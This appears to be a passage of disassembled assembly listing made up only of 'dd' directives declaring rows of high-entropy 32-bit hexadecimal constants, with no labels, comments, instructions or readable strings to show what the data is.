		dd 78CFCBEDh, 0A54C6948h, 7235813Fh, 0AF7CF742h, 0DD3707E0h
		dd 0AFB8CC9Ah, 0DB3111B2h, 0D7C30BADh, 656B61FDh, 3AC2E8A4h
		dd 0A4E1CCD2h, 0DBD233Bh, 0A3E6378Dh, 0B8C94A0Dh, 0BA3134EEh
		dd 701F6F4Dh, 0D41A5D1Bh, 0D8F22233h, 2DEDB4C1h, 6D6CA9F4h
		dd 8AC59774h, 296F2FC2h, 0A737F379h, 743A7BA8h,	0A527AD89h
		dd 0E4D97641h, 0BE86FBEEh, 0B817E038h, 0AA26A7BBh, 1AE9A665h
		dd 0DB195F56h, 634A71B1h, 2344B29Dh, 598A5FFEh,	726F1BA1h
		dd 4ABBA2B6h, 92324405h, 0F42C69A7h, 0B2D81830h, 20220810h
		dd 32ECABFBh, 17D23BFh,	0B513DDE3h, 0C2C5133Ch,	528FEB43h
		dd 0A478E365h, 126642B1h, 7936C403h, 6CF6EA99h,	4294E927h
		dd 2EFF8ABCh, 8E187F9Ch, 7F8FA955h, 6B000925h, 0E1DC572Bh
		dd 62AD0B40h, 271DD69Ah, 5D377E76h, 645B0BE5h, 0BA100583h
		dd 0B5B1732Ah, 8F029E6Ch, 0D868F17Ch, 72649525h, 0D9A8625Ah
		dd 9B86F101h, 492FDC6Dh, 0E397969Ah, 0BAE0F8BAh, 13A27FC6h
		dd 7D61FF4Bh, 229FA7A1h, 1ECC7A56h, 0C6FAA211h,	6CA5A115h
		dd 0FEE60CDh, 1F3650h, 0B5C0830Ch, 0A9EE7570h, 0CF3955FAh
		dd 1FF41E29h, 0B954900h, 8F6EABAFh, 0CD987AB0h,	4D03A563h
		dd 0B30166A6h, 0DB277EB8h, 7E402995h, 0BB713FFBh, 4A0319Dh
		dd 41F730F5h, 8E17A511h, 0A99AC93Ah, 0CAB6051Bh, 7EBB500Ah
		dd 0BD57AF1Dh, 6A1ADA3h, 9FE7BC1h, 52FA010Dh, 705775B5h
		dd 1C155B22h, 0F867A9A0h, 84A3E613h, 1E59E4C1h,	19EE619Dh
		dd 90A9188Ch, 0E437121h, 0EE9D56BFh, 0A57241CEh, 8DBFBE0Dh
		dd 376433C9h, 4B13A45Dh, 3AFFD5A7h, 19CC33CBh, 6A1F8309h
		dd 673BE990h, 6BF2BEA4h, 0F0279Dh, 3A7AE0CEh, 3A8B903h
		dd 5B6BE066h, 66E921B3h, 47E9A1BDh, 2E920FB4h, 2D6ECEB2h
		dd 0EFCF2CAAh, 0BF153162h, 5E2EC5C3h, 2C9F839h,	10DB6F34h
		dd 5709F1D1h, 734B0155h, 0E1BCA3B6h, 0BF7DAA6Eh, 0A06F62AEh
		dd 27254F85h, 0BABE3ABCh, 612E16ACh, 9C1BABA2h,	1F4111FFh
		dd 3E83C8E8h, 3204C744h, 0C8A71AB4h, 8D153F74h,	4938C89Dh
		dd 8253F615h, 732A32DFh, 0B6026C6Ah, 0C64FF9CEh, 24988621h
		dd 256F4B5h, 0A0EF49C3h, 5F06545Ch, 7390AF08h, 0FA8ECD25h
		dd 0F562020h, 0F55AFDBCh, 85E3AA5Dh, 0AF45E6B0h, 761FF722h
		dd 0DEE00F4Ch, 0B0995FBCh, 53B7FA08h, 0B87A1969h, 992B5F85h
		dd 0B78BDF09h, 36897C61h, 0A6BCA01Fh, 3BCC5AAEh, 617D2FDEh
		dd 9E3C6DBDh, 3A180C07h, 0E7B52885h, 13B9B015h,	0CD21F740h
		dd 4C90F6C4h, 614F0105h, 0E2AAE6B8h, 21AE0CC9h,	0F34C3B38h
		dd 17D8637Fh, 6DF2B681h, 0F6513569h, 0C49683D1h, 1A414023h
		dd 525AA1ACh, 3B3A881Fh, 40A51092h, 45070E25h, 18388E15h
		dd 56F2FE5Fh, 4F59C04Fh, 0F016032h, 0BBABE9B7h,	971E4598h
		dd 0A1B1BBD1h, 0E5000E8Eh, 6BE1DBA6h, 333E4D1Fh, 2E0489E7h
		dd 9D5D3D5Eh, 7279B836h, 83699E01h, 0FB4AB9A6h,	0E7C4A0ACh
		dd 0BE0400C4h, 0CAE62DC8h, 3F0D1BB3h, 1B3BD17Dh, 6B771181h
		dd 0AA7F8000h, 5B173955h, 0B7CBF5A6h, 5B2DE20Dh, 0AD1A114Fh
		dd 0F440EDF8h, 59FC1FE9h, 0AF381A10h, 0AFF61A7Fh, 7E0B9229h
		dd 8F98DD83h, 7A0AC495h, 40FBA23Eh, 0A5127DA9h,	5AE8F46Dh
		dd 0CE06E958h, 9D362279h, 0B57AABE4h, 5B5B373Dh, 601E3A10h
		dd 0D20736A4h, 0E630F459h, 7664F9B5h, 0C67056ADh, 0F732AD4Bh
		dd 0B40279E7h, 0B5BCAB2Dh, 60130B4h, 0E0D0C0A0h, 0C4DFEA4h
		dd 886EADACh, 0AAB52EA6h, 463A1BBDh, 0B6E7E33Eh, 9E72ECE5h
		dd 9FB7B4AEh, 0B1A61944h, 9BDE56BFh, 16E21ABCh,	37C227BDh
		dd 22250AA1h, 5238E0ADh, 5D57DC4Ch, 0BC2CCB62h,	821E3D27h
		dd 0AEFFEC47h, 85BF38BDh, 7EE7317Ch, 6DA1D39Ah,	3A03C132h
		dd 0A68A92B2h, 0B502FF66h, 3A018D75h, 3769F96Ah, 0B8729462h
		dd 46D8E74Dh, 26635B49h
		dd 4B493B12h, 0E2F496EDh, 1A3475A2h, 9ECF516Ch,	852A0B3Dh
		dd 5531469h, 0E61A05F3h, 7095A988h, 0A427B812h,	9D2A7DA2h
		dd 3F6EF7A4h, 32E14927h, 0E3C7A1D0h, 82CAF9BFh,	9641F613h
		dd 68D0BDC6h, 0CC042B90h, 0C286EAE1h, 3D933579h, 0EA3812Eh
		dd 0F5B1496Fh, 348AA00h, 0F4F46A71h, 0BECE82B1h, 7E5804FDh
		dd 0B2CF63BBh, 5839C79Ch, 3735803Dh, 0C68E729Eh, 3CEAED32h
		dd 5664C41Dh, 0FD55DA5Eh, 64BEC5C2h, 660F90A4h,	0DFEEE761h
		dd 32ED3735h, 0F0F2821Fh, 7B5A35B4h, 62ED16B8h,	0AAE34F4h
		dd 0B9A3B1FBh, 1A36B5BEh, 0A203C520h, 0D821A3Dh, 9E35F218h
		dd 1BBDF15Ah, 0CF835ABh, 0DA3F68CDh, 4E5A4BB1h,	406842D6h
		dd 98E5E0B5h, 5B95F684h, 9825212Fh, 46466F22h, 0DB25D829h
		dd 0E9813696h, 2B59681Ch, 9BB6B4E0h, 7AA8ED70h,	253051E8h
		dd 0C95AE9B7h, 0CB51331Ah, 93114F4Ah, 6DD211B1h, 0DB9824F6h
		dd 3A46FCA0h, 0AD535EB9h, 56C263AFh, 18CE3508h,	9E275BE4h
		dd 5941A27Bh, 3ADB222Fh, 92F9AA0Bh, 4A3A4F6Ah, 0BA22F510h
		dd 0D5F10712h, 2542A1C3h, 285972FBh, 11412379h,	762221AEh
		dd 0A444EDEDh, 1C980910h, 0FBAFAE89h, 6F62EB38h, 3625D144h
		dd 0BC6B6DEDh, 733D2F60h, 96392D01h, 9E46EBE6h,	0A1F03CBDh
		dd 0C93EFAEFh, 74BB5D42h, 0A6EE14B0h, 0AE79A630h, 4B18B573h
		dd 2DC294F4h, 5F6A6508h, 0CFA05DCEh, 45055561h,	0DB1F4010h
		dd 50B12DAAh, 6540523Ch, 11671A07h, 2A9CF3E2h, 247215F8h
		dd 0F00819A4h, 0B4CF0CEBh, 0E8E1DD8Bh, 0B6D23D20h, 5A3241E7h
		dd 0B6325A22h, 0EE7961E7h, 456C5E97h, 9F88DD44h, 0F412279h
		dd 4BAB015Fh, 272E069Ah, 5E25417Ah, 0D2969D48h,	2288E0F4h
		dd 0A9AD9D14h, 231FE8CBh, 32390E77h, 0BEAE6066h, 77B97610h
		dd 8ED53A75h, 84F85AAEh, 6AFAA98h, 9F73FABCh, 0B5AE65BDh
		dd 6CD7CC07h, 151D106h,	0B8083522h, 24E2DDB3h, 9DF20170h
		dd 9835F43Dh, 402B97E4h, 579D0C12h, 2534A381h, 0A457C305h
		dd 0AED4EE4Ch, 11C59761h, 0BF1BFD4Dh, 0E2DDB1B5h, 0E2EF095Fh
		dd 84DD9B44h, 0D313ADC0h, 2D1436BCh, 5EB22F77h,	0AC317A55h
		dd 0A6882695h, 3B175ECAh, 8A1CA7CCh, 25014561h,	0B7CCEAB8h
		dd 1C791DBCh, 0A9D36163h, 0E9649EA2h, 0C531A1DFh, 0AEF1BCFDh
		dd 0BB6C2674h, 76001234h, 0A2F529BBh, 0C10881B6h, 3E361407h
		dd 722B7B3Dh, 63470020h, 29380E62h, 0D4CBA11Eh,	1D3A20DDh
		dd 6F472D05h, 5A6D8AB3h, 6DDBBFA6h, 0DFA5050Fh,	46318A8Fh
		dd 8C1836B1h, 251C5F7Fh, 9EE252B0h, 0DA626025h,	431DAC63h
		dd 66C3D85Ah, 0EEF34AB4h, 7B5A3D7Dh, 84E46BF4h,	6494FE41h
		dd 0A41535B8h, 47202C6Ah, 73E1FA9h, 49B632BDh, 5FD9F252h
		dd 0A96A29F0h, 988E0745h, 7E2CFBD7h, 0E87710CDh, 1C06AD0Eh
		dd 0D96D02EDh, 0FB16A24Eh, 0DBC00295h, 0F1FA2DACh, 0A8C60164h
		dd 334577A9h, 0CB78BFBAh, 864ECF65h, 2B3B55C3h,	90BF1927h
		dd 0D12549F2h, 5CA3D720h, 0F909791Dh, 0D3AB905h, 1620380Ch
		dd 736902AFh, 0E93927E2h, 0DDC1B910h, 5C72BDB1h, 81D312FFh
		dd 13CE37B4h, 0F3587B3Ah, 0CC2E305Eh, 815803A0h, 73E31D2Ch
		dd 9133D27Ah, 5AF82F03h, 85EE0803h, 400AAD98h, 0B69B345Dh
		dd 5D571141h, 0DE0A4EB7h, 7BBF53E9h, 0AED11A8Ah, 34682472h
		dd 0AA8AF846h, 5E6E20A8h, 990A8864h, 0AA5D0257h, 0B7BA0BB1h
		dd 38187ADFh, 0E348F157h, 76845A70h, 41B2B533h,	0FC6DED1h
		dd 51BA0961h, 0A31E9AAh, 0BAEE0DFDh, 0FAF38687h, 0A5F1E946h
		dd 8D2D224Ah, 1EB3884Eh, 34175557h, 0DA3FA96Ah,	53432747h
		dd 83CE7FBAh, 32A8E982h, 1844124Eh, 66FBC104h, 107490E3h
		dd 4DDBEB8h, 7A796145h,	9FC66820h, 626371A2h, 0B2B95E9Ah
		dd 234BFD62h, 0B9930BBBh, 21E4501Ch, 697127FFh,	18058022h
		dd 0E2124E00h, 0BCABB9AEh, 64ED21B8h, 7BC2D243h, 2045E922h
		dd 0DF420A59h, 5935A8F6h, 0C20AB0BAh, 86435D72h, 5EBAC542h
		dd 983A2C86h, 0D40ADDB6h, 86F7F765h, 0D3582A44h, 0AFF5F9FBh
		dd 3016F181h, 686C867Dh, 0C2F1383Fh, 47BCB816h,	0CCDCAFC3h
		dd 143C738Ch, 7CDA5C97h, 0CE55D83Ch, 0D3D3B98h,	0C0D385B3h
		dd 16398BC4h, 0C0850994h, 6C07EF6Eh, 0BCFCF08Ch, 38E653B9h
		dd 5A829101h, 0A5BA24BFh, 0DC1BF928h, 0FBCDBE79h, 0E01FCC96h
		dd 0E89211E6h, 0A31956F2h, 2AA32A6Ah, 0C9A2A5A9h, 439E169Ah
		dd 68B63423h, 6F239585h, 242DBD2Ah, 7946538h, 20BCC357h
		dd 68191FBCh, 23EDB0ADh, 9B8368BBh, 191108A9h, 8ACDDC9Fh
		dd 9BFC7000h, 961333A1h, 0A80C81CEh, 13B61261h,	0B56AE745h
		dd 87AA046Ah, 33331E69h, 5CA33BEAh, 4AD2F3BEh, 273AA840h
		dd 0A33EE359h, 0A741911Ch, 7EC7AB7Dh, 0F823E40h, 23E62C55h
		dd 96D2BD75h, 73E90348h, 0D49FBC0Eh, 2330BA20h,	0E31ABA38h
		dd 0A672E735h, 5C7ECEBCh, 4B924058h, 0FE12287Fh, 4E96A051h
		dd 0AAFCA9B3h, 0D9411185h, 0A48C59A7h, 0B49A712Fh, 58CE35C4h
		dd 0E7EC2E7Ch, 0D2729666h, 5B20F709h, 9EC469FFh, 7D982C99h
		dd 0BCC1AD50h, 6C73D3A7h, 7125400Ch, 0E335D0F2h, 0F5100C64h
		dd 6AB362E1h, 0DD30E285h, 90DA1904h, 74E6A301h,	1D150FACh
		dd 5B4C021Ah, 363CF6BDh, 2CF855E5h, 2149F146h, 0F85DC5E4h
		dd 236D9B7h, 1A0136BDh,	0D0CDFFBCh, 27B1EDD5h, 0AE2BE15h
		dd 124B1BB9h, 0E5FD5D69h, 8D34E995h, 0AA56A923h, 114D5C1Ah
		dd 0E10836A9h, 0C6550365h, 2124F762h, 9EFAA1A7h, 82DAA1FEh
		dd 9F313C42h, 1517F50Eh, 0E1F6E1C6h, 9D4A733Ah,	923E3521h
		dd 79FC990Fh, 0C7024E76h, 0F736EB38h, 2AC286B3h, 5EDD8701h
		dd 0AAEB653Fh, 0DFCAB81h, 0A77AF562h, 6182AD4Eh, 0DAF4A92Ah
		dd 123A2210h, 0CA8B2D40h, 0AE4D4BCBh, 0A5F500F3h, 0CFA6621Fh
		dd 2E463570h, 0EF603173h, 286C2329h, 6B183E15h,	1D144B13h
		dd 8439959Fh, 2FBE29B6h, 96F5A322h, 787B1A7Ch, 53E91523h
		dd 0DF56F87h, 7A4FF5A6h, 0DDCF5F6Ah, 69E2AC93h,	566A23B2h
		dd 18B55D92h, 0C629B860h, 2B056C94h, 0BA3CDF37h, 0AC7EF876h
		dd 0FF7DC63Ah, 46FD396Dh, 0B9EAD245h, 284A9171h, 0BC43F779h
		dd 4533B193h, 0B2B10D4Dh, 37630342h, 0E24FD235h, 239DD576h
		dd 0A01928C2h, 4AF6CC26h, 0E81838B5h, 5C445EA4h, 0C4D285C5h
		dd 0AE92AA24h, 9982355Bh, 24F42D52h, 3612D954h,	0A9E5EDAAh
		dd 95264D91h, 75186AB5h, 0A6307A65h, 7FCA109h, 415F354Dh
		dd 0F19076Ah, 0A132B509h, 0ADF42643h, 5B22F506h, 612C5744h
		dd 5C5CE9F6h, 0E9DCF9ECh, 0BB1F4A5Bh, 65103109h, 0C0BEE92Dh
		dd 0F71473EBh, 0B0FD1576h, 37223570h, 5DDE1361h, 0CB43DD55h
		dd 91211E3Eh, 5D77867Fh, 9218AD43h, 8F89EE9Ch, 20014487h
		dd 54B637B6h, 0B565BAB8h, 3EDB9C5Ch, 76D4AA7Ah,	0D09E1652h
		dd 83BBF320h, 83C002C8h, 90E4A88Dh, 0D2B80A3Bh,	84B9A88Bh
		dd 0B3232C72h, 0BA0803DCh, 5C8DDC57h, 5ED6D823h, 0A0CEEDF7h
		dd 0A817DB3Bh, 6801D54Fh, 11262F3Ch, 142057D0h,	51D22D2Eh
		dd 9D83E5CDh, 80CA2236h, 8FCF35F5h, 15225737h, 1589EA64h
		dd 0CECBD07Ch, 0E5E66CAAh, 0C81CF797h, 0BE0834Dh, 156195D7h
		dd 280BE121h, 0AB770003h, 8017BCB6h, 5FCA00A3h,	8EF4B103h
		dd 9DE528DAh, 962AEAA3h, 0CDA7E295h, 9F6CA357h,	723998A6h
		dd 8A8733E2h, 0B734DDDCh, 390C011Dh, 8697F70Ah,	0A6C137BCh
		dd 0EA17D3B5h, 0A166CC7h
		dd 4400E114h, 44DCDEF0h, 2C412996h, 4BF27F5Ch, 0C1EDF3A2h
		dd 0C9418D51h, 0B7E6997Bh, 0B8CFF46Ah, 0CA3B2D81h, 0A2A18202h
		dd 3A510544h, 9F3A8949h, 0A0BA3C9Ah, 3B3A33C4h,	5C0F48E3h
		dd 4A23ABBCh, 2FDAE38h,	64AAB702h, 0E0B19734h, 0DBF4934Dh
		dd 0E5FDA79Ah, 87A3A0FAh, 478950ECh, 97C17336h,	0DCA63685h
		dd 0EBD0027Bh, 4CBBEC53h, 0BFAE4D7Dh, 29C42424h, 1261A53Ch
		dd 0E54A850Bh, 0BAF998E7h, 55802299h, 0B5D037ADh, 0B88B625h
		dd 0BAFDDFE4h, 0E1CE2E24h, 0B6552D52h, 0CF226C24h, 0EB9459Ah
		dd 0D81DC4FFh, 0FC4C4977h, 0C6FA2724h, 0E6F56611h, 7F1FB5C1h
		dd 0C8138030h, 0A9290016h, 0CB101C6Ch, 0AD4DC1A3h, 0A4BA82E4h
		dd 0BB22CF62h, 2C79379Fh, 0D03F1D3Ch, 0D19881DFh, 1DBB9198h
		dd 80B238B8h, 0D0F1CB3Ah, 1DEDC0BFh, 95455421h,	4B0B728Ch
		dd 17FB6766h, 952C975h,	0D4CE9766h, 0DF0BDC20h,	42F783E0h
		dd 149847A2h, 207C6EA8h, 9C35A246h, 800134ACh, 43A54E73h
		dd 0E1E12DE5h, 5624AEE0h, 0F8DFAA9Eh, 4CE90EF7h, 0B8124BB1h
		dd 1F805622h, 0FE90A48Ah, 0FEF2B142h, 0E41072Fh, 0C4CB7F59h
		dd 1A1C9FBCh, 0BA03B45Eh, 245D870Bh, 6C33E0B9h,	3F5435ABh
		dd 6513B6BDh, 1E739B74h, 3FF91A0Ch, 0CC38C611h,	84B4144Ch
		dd 0D3D4465Ah, 908B2D5Ch, 0E4416F45h, 1032E06Ah, 0AE3B33A0h
		dd 8E6B8013h, 850DDD95h, 0A99A54A1h, 71831010h,	23C8A7EBh
		dd 3ACF4F24h, 0D531AC5h, 12A1BE45h, 0A714373Ch,	168860B5h
		dd 46552F8Bh, 5DA407E4h, 7B4A93F9h, 0FD3AEDF7h,	0ADA70D56h
		dd 0B15B540Eh, 723CE95Ah, 741735ACh, 1B487EFDh,	9B339CB6h
		dd 0BBC5314Ch, 0AB2319CDh, 9E026FBCh, 0B1CE3E35h, 953F265Ch
		dd 0A022CF41h, 0E8820177h, 8E184EB5h, 88ADF860h, 0C0215482h
		dd 0CF4BFE67h, 36660ED1h, 0A2C44099h, 7C2ACB55h, 467C3245h
		dd 0F161E28Eh, 0E68364AFh, 558076B9h, 8A43587Ah, 0A9B81B12h
		dd 9AC67769h, 5328A5FAh, 0AFCF2D06h, 413FF207h,	124820ECh
		dd 0A4583A29h, 0E1F01728h, 0CB1EEB63h, 0E2D31960h, 60252FC2h
		dd 499AF70Dh, 923DC027h, 5CC6AC54h, 0C411D3B2h,	6AC66385h
		dd 312EF44Ch, 823B0314h, 415CF61Bh, 12C3CBCCh, 559CD5C5h
		dd 0D4AA5BBh, 50FDEFF3h, 0EE39EFBh, 646C49B0h, 0A7F3A819h
		dd 0EF25065Ch, 435A3CBDh, 0C6D8DDA4h, 0AC4140Dh, 0A63CCED1h
		dd 0C6ED29B9h, 0F966E61Dh, 85257FB4h, 80E4069Dh, 8E5BF761h
		dd 91181222h, 0FABE57F3h, 0AD5F29A7h, 5543352Eh, 9CAB30A7h
		dd 0BF397492h, 6B250C9Ah, 6F55DDAEh, 5F6D90F2h,	9EDB9A4h
		dd 194AF523h, 1F35403Fh, 8DDC63EDh, 471BD3CEh, 0FC446EC7h
		dd 298B2531h, 19782CF3h, 0D36C9221h, 22C53F47h,	6ADE1291h
		dd 0D54B3B12h, 361CB834h, 5C7C3021h, 0B8D38430h, 0EE9A6022h
		dd 0F0CE28BEh, 647FE43Ch, 5B0D483Bh, 5DD1696Ah,	921218C2h
		dd 8D581BA0h, 0DA280521h, 613C6042h, 688219B9h,	0CBE54522h
		dd 7778225Ch, 82C5A9E9h, 4704B83Fh, 4E0B53F5h, 0F1480E9Dh
		dd 0C21BED7Fh, 73BD3EB6h, 832BFD53h, 0F4DADF02h, 0ED19AA2Fh
		dd 0BC01FD03h, 0B2F508D5h, 4EC3B45Dh, 0F7A65E30h, 0D5A250C9h
		dd 5C1F5DCFh, 5338E11Eh, 0B3ABC538h, 1EB63E33h,	0FE40ACDDh
		dd 2737000Dh, 6CBD3FA1h, 0A1D18CA5h, 0DB1A31A4h, 1D3B4A37h
		dd 2A6C7F04h, 0F45AB45h, 0E8E24868h, 1B4C220Ah,	9A094067h
		dd 4EB76F1Ah, 8D451BB5h, 0B2B8E212h, 73CF7A21h,	720BE555h
		dd 55C2C737h, 5D3E6047h, 2A4D4A7Fh, 24F4D2C1h, 9F304A60h
		dd 7E5A03FEh, 6F0BB8EEh, 68C09C55h, 0DDB5C1CCh,	3AA52C9Ah
		dd 5C9A2292h, 0D85A8710h, 0A6C6D048h, 90C4D2AEh, 96DA464Fh
		dd 0A0B8DCBAh, 5A2A068Fh, 7377C7C0h, 5DC60DBDh,	78264A22h
		dd 0A3932C0Dh, 0B399345Ah, 13AA2BDBh, 63BD1025h, 851C60B5h
		dd 0D83205Eh, 5BFE09B2h, 0BA0ED31Ch, 0C8E34A95h, 8A4161E1h
		dd 0AB38E88h, 2F80A94Fh, 22A37064h, 0F68D004Fh,	0A9E5681Ah
		dd 13136484h, 0BBEE0D07h, 24595C1Bh, 79EC2B3Fh,	5A9E41ACh
		dd 1C3EEECFh, 0DA9B35ADh, 0E1C6B40Bh, 0ACCF3EB2h, 4543B7D9h
		dd 9B40A9FDh, 0BDFD5DB6h, 7B582F84h, 1B1BCC12h,	1E7623F2h
		dd 0E038FD42h, 0B373FC13h, 0A4D034B4h, 0FA7AEBE8h, 0B34E4A3Fh
		dd 24D6E397h, 97B9CB7Fh, 65CD7199h, 4268515Ah, 0E5115DFh
		dd 24473D1Eh, 0FA3F1953h, 10C2E11Fh, 32E5B169h,	0C501F37Eh
		dd 9C51C243h, 86910BA2h, 6D974BF3h, 0CE2425D1h,	4A7E5423h
		dd 3EBEE6BCh, 0FA17C7E9h, 0D625356Ah, 4BCF0FB6h, 43E276h
		dd 0B73AC8DCh, 37233AABh, 2C6837Ch, 0B53CA8CCh,	0A02ADFA6h
		dd 0BE3A3FE1h, 7E97A739h, 30208B3Ch, 561FFC19h,	8A216E1Eh
		dd 0FC063AFh, 0A6851D0Ch, 0BD4BA20Eh, 0DC6F53B1h, 0FC5AC414h
		dd 74065146h, 271A72E8h, 283976EAh, 0EB46D1E6h,	9EF4225Ch
		dd 1D63A106h, 760658CAh, 89771CBFh, 18C20C13h, 0FF05BE0Ch
		dd 6684F71Dh, 0DF38DD85h, 5A97D530h, 0A80FABB5h, 4F85707Dh
		dd 8967ACEAh, 0D9EDF9F8h, 3B302850h, 70041990h,	0F1B524DBh
		dd 0E0500D96h, 0DE9489A9h, 0E0F820E0h, 0A58F880Dh, 0CF9FF1D6h
		dd 9EB99655h, 63022EDBh, 54CEC03Bh, 4E3AC6B1h, 7159F6C7h
		dd 8672AC38h, 0EA711708h, 9C12C0FAh, 0A495C310h, 9F028E7Dh
		dd 0B027C0E8h, 0A10F61A1h, 69BCA83Ah, 5F9245A4h, 4A30EDFFh
		dd 775828A0h, 48F53B65h, 6B30AE10h, 8B151D63h, 0BA08ECFBh
		dd 733FC8BBh, 0AF2C71E7h, 247F8DD3h, 0AE8F95B8h, 0ACD3E79Ch
		dd 0B360D4ADh, 952A1C51h, 0A130A823h, 0BE1C6C0Ch, 8F7351D5h
		dd 0D76A77A6h, 2441114Ah, 1A9A80FDh, 0F11F565Ah, 0A3B036E7h
		dd 1ECDE61Ch, 0FDC535ADh, 694802A3h, 0E8A84C3Dh, 0AB73802Eh
		dd 0E4976EA2h, 0B7540F3Dh, 0BB7703FAh, 0B4092D3Bh, 7A7D5397h
		dd 0A51A5BE9h, 99FC13EFh, 0FB6C485Dh, 0A496E8CEh, 5F2AD24Bh
		dd 2C2135AEh, 0F5C467BFh, 0A27CC724h, 2586EFB8h, 5176D2DAh
		dd 7C58330Ch, 0A06E287Fh, 90A894F4h, 0EBFDF4B0h, 803DD0Ch
		dd 0EEFA5053h, 66E91C63h, 25B43E45h, 22FC2BA5h,	853E1061h
		dd 6209E95Ch, 1A08DC67h, 0F87A26EEh, 0B3597D57h, 0C260858Eh
		dd 0C9DA4EB3h, 0B43FA351h, 12322D11h, 4BB1ECE5h, 9CA32F83h
		dd 78B04A2Dh, 0A14EDD71h, 0FFBAB2CDh, 4652AEA3h, 11BBB7F7h
		dd 0CDACDDDDh, 589B4D98h, 935CE94Eh, 7935A86Bh,	672A51Ch
		dd 2DF58ADCh, 0CD7912AAh, 818E63E6h, 4DAB1578h,	0BA957A07h
		dd 563DAB76h, 0B4CEC048h, 0DED8D34Ah, 0BC1163DAh, 0EB8BDD7Ch
		dd 45B9CDA2h, 92772DF2h, 0A45F292Eh, 9C2E755Eh,	2407FB35h
		dd 541F537Eh, 7DFF7DE2h, 0AA20726Ah, 0B768648Ah, 19EE594Ch
		dd 8366C127h, 0E9FF4B5Ah, 50FD39BBh, 0B7793746h, 0E796BB7Dh
		dd 54811864h, 14F61582h, 0BB7BA2E5h, 0AF9B9E9Ah, 0CF53B37h
		dd 1C5AB9C3h, 0AE88A49Bh, 0BAAAE0ABh, 4392D216h, 51992779h
		dd 1B9201A9h, 61BBA1F7h, 82EFA39Ah, 0B87AAC22h,	0A539F810h
		dd 0DCD0D39Ch, 0EE04EB7h, 496BE57Dh, 0AD622BB5h, 0B14C2BDFh
		dd 2B1E3D65h, 0E7C51BB6h, 0D8F149A0h, 494F8038h, 0A6F4876Eh
		dd 831E6656h, 0BB2DE572h, 3F74EC4Eh, 0BFD649A3h, 32CEDE56h
		dd 0D670C725h, 31C1360Ah, 2FF3021h, 0E6B3EAC1h,	842297DBh
		dd 0F43D9E60h, 0E50940E1h, 6870DB28h, 7B9A4B4Bh, 671E91F7h
		dd 33D2E93Ch, 333EF948h, 393D2B4Dh, 62BA3ABFh, 76794CB5h
		dd 0CAED7DB0h, 87E4125Fh
		dd 0A06FD5FDh, 25E7A70Eh, 29936548h, 0FA3436AAh, 902FDDF8h
		dd 0CAE29164h, 0CB02FA1Fh, 16805975h, 5A594ABEh, 0C9471D3Ah
		dd 54A8141h, 0B05D6045h, 0CB7F4EA3h, 9C19507Ah,	8580A855h
		dd 56E24889h, 67461BBEh, 91099011h, 0CB525C5Bh,	24443A70h
		dd 92A45517h, 4954B898h, 0F4E23ABBh, 0BBADFA1Dh, 183AEC2Ah
		dd 93C327E4h, 112D9958h, 1AD849B9h, 85022DEEh, 64808373h
		dd 0DB3420A3h, 5E3326ACh, 1A432561h, 0D1C3C70Ah, 22822700h
		dd 0A446D278h, 9CD82460h, 0DB89AE71h, 0AE535397h, 6C38F438h
		dd 6B9063D7h, 0DF15CD0Eh, 0C4A6494Dh, 0E79B0C50h, 5F9AAE52h
		dd 0A61103BBh, 0C306CCA7h, 9882FA83h, 669D3107h, 8D1E3A23h
		dd 0A359F454h, 0CB139EA4h, 0AA1CE5CCh, 0EE436A52h, 0C4702BDh
		dd 84F2D0EAh, 7A859397h, 33540D82h, 1BDC9A80h, 4344A043h
		dd 4C94E5A8h, 43FD36BDh, 82F1E724h, 34E74F18h, 0C44024EAh
		dd 101BED49h, 9B3AA044h, 15DEDD0Eh, 8AE9C701h, 0B29333C1h
		dd 10F7597Ch, 0AAC722BFh, 0BFDAF10Eh, 2E2B13ACh, 4E5980A3h
		dd 0B0E269AEh, 76ACB13Ah, 1DE625FAh, 51BE2D21h,	0D23A6911h
		dd 0F2025F62h, 3937DD45h, 0A13F02Fh, 283611F6h,	8F7ABD0h
		dd 0A309F3Dh, 6C38EFE0h, 0C032F206h, 0D8C28BD0h, 0D73CDD06h
		dd 0AA5993C3h, 5E00D17Bh, 47558D61h, 28F0B251h,	634585E7h
		dd 0C029D8C8h, 0DA4CED15h, 654255B1h, 86EBF796h, 0A6B4018Bh
		dd 67BA2F5Dh, 0ACCB495h, 7A0436DDh, 6F0A3DF5h, 26153699h
		dd 95C51089h, 0ADC91145h, 0A8C5DEBBh, 2410C0E6h, 0A1CB0DACh
		dd 0D462A2F3h, 0BA37C0FAh, 0B9FE6F21h, 13F6401Dh, 58BB2E5Dh
		dd 349136F5h, 7AF75B02h, 2C9DEBA1h, 2B76EBE4h, 0FA227EBFh
		dd 1B464D65h, 12D74889h, 4013B260h, 54094DA2h, 47A523BBh
		dd 0B90D292Bh, 390B797Dh, 73298FC1h, 96D12C66h,	0BDF249BDh
		dd 627B22BCh, 595E2054h, 1834A6B3h, 29331C71h, 5A190EA3h
		dd 0BDCE0BAAh, 82B449EEh, 0C2082490h, 0AEA4711Ch, 0E0073338h
		dd 112579AEh, 0DF658D9Ch, 87796756h, 5E3FD220h,	84597164h
		dd 2052ABB7h, 59232C98h, 0A48F3847h, 0ED235145h, 508506A0h
		dd 2316B9Ch, 0CB08A874h, 0D35A1816h, 0DDFA1C73h, 23B1B98h
		dd 6F201C5h, 0C93895ECh, 0AE2A8131h, 568B2478h,	0AA0662CEh
		dd 0B83BB7DCh, 9DBFF045h, 0F0CE625h, 9BC58EB1h,	0B345551h
		dd 0FEF3477Eh, 75BB42Dh, 0EABA2352h, 0B79B3EF9h, 54C136A6h
		dd 0EBEFCF7h, 969A564Ch, 279E558Eh, 0CBFFF426h,	3FD5578h
		dd 2339B7h, 5027168Fh, 9281F241h, 0B6B5911Eh, 6E1B44A3h
		dd 300A6200h, 3EEA4C60h, 0FCF85941h, 0B12ADEB1h, 4277E29Dh
		dd 4FD2D772h, 9C20CABCh, 9E5BACA9h, 1F8129BCh, 1F5B1171h
		dd 92820D02h, 8950F66Ah, 0D0506756h, 36C93BDFh,	94C03C1h
		dd 757AE323h, 98C131F4h, 0AA62E8A4h, 4E8881BCh,	41F14ABh
		dd 0CF1DFBFFh, 0F0B2BE02h, 0ECDEAC77h, 0D2F17D63h, 0E551CFE7h
		dd 4702D1B0h, 45D14E9Ah, 0BA81A6A1h, 27053D35h,	3046BCE8h
		dd 7D7B1BBCh, 0E9982D7Dh, 0A152E70Dh, 0FC73483Dh, 1200B707h
		dd 49FAAE63h, 23124EB0h, 0EADD5A7Bh, 0E8FE2AF3h, 0D14EEEA4h
		dd 1A10A44Ch, 85E5E08Dh, 756EE05Ch, 0A4085A11h,	637FBBBCh
